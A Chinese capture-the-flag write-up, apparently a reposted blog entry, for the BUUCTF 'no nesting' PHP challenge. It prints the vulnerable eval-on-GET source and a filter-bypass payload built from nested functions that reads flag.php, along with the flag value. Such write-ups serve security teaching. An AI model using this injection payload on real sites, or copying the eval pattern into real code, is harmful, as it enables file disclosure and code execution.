当前位置: 首页 > news >正文

BUUCTF——禁止套娃

BUUCTF——禁止套娃

进入靶场

在这里插入图片描述

一个近乎空白的页面

看一下框架

在这里插入图片描述

没什么有用的信息,扫个目录吧

在这里插入图片描述

只扫出来给flag.php,但是0B,估计又是个空网站

拼接访问一下

在这里插入图片描述

果然又是什么都没有

没有突破口

githack找找看看也没有源码吧

在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){ //get传参expif (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {//过滤伪协议if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {//过滤关键字// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

根据这段代码构造payload

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

拿到flag

flag{510faf28-0e0f-400d-aa4d-c88c74df6cde}

下播!

在这里插入图片描述

相关文章:

  • 【AI零件】openrouter.ai生成密钥的操作
  • Python 函数装饰器和闭包(使用装饰器改进“策略”模式)
  • 【STM32】定时器输出比较模式
  • 数字化转型进阶:26页华为数字化转型实践分享【附全文阅读】
  • 中国 AIGC 确权革命:“AI 创意・中国” 平台上线,存证成本降至 0.1 元 / 件
  • Git从入门到精通-第三章-获取Git仓库
  • GPU平台-优云智算
  • Elasticsearch:RAG 和 grounding 的价值
  • 2001-2021年各城市平均风速数据(可作工具变量)
  • 【AI论文】交互式生成视频综述
  • Python----卷积神经网络(LeNet-5的手写体识别)
  • 合成复用原则(CRP)
  • 洛谷 P1850 [NOIP 2016 提高组] 换教室
  • matlab学习之旅
  • HTTPcookie与session实现
  • QT6 源(70):阅读与注释按钮类 QPushButton,及各种属性验证,
  • 3D人物关系图开发实战:Three.js实现自动旋转可视化图谱(附完整代码)
  • C++ - 数据容器之 forward_list(创建与初始化、元素访问、容量判断、元素遍历、添加元素、删除元素)
  • 方案解读:华为-智慧园区数字平台技术方案【附全文阅读】
  • systemd-notify(linux服务状态通知消息)
  • 文旅局局长回应游客住家里:“作为一个宣恩市民我也会这么做”
  • 经济日报:仅退款应平衡各方权益
  • 消息人士称以色列政府初步同意扩大对加沙军事行动
  • 美国证实加拿大及墨西哥汽车零部件免关税
  • 魔都眼|买买买,老铺黄金新店开业被挤爆:有人排队5小时
  • 司法服务保障西部陆海新通道建设,最高法专门发文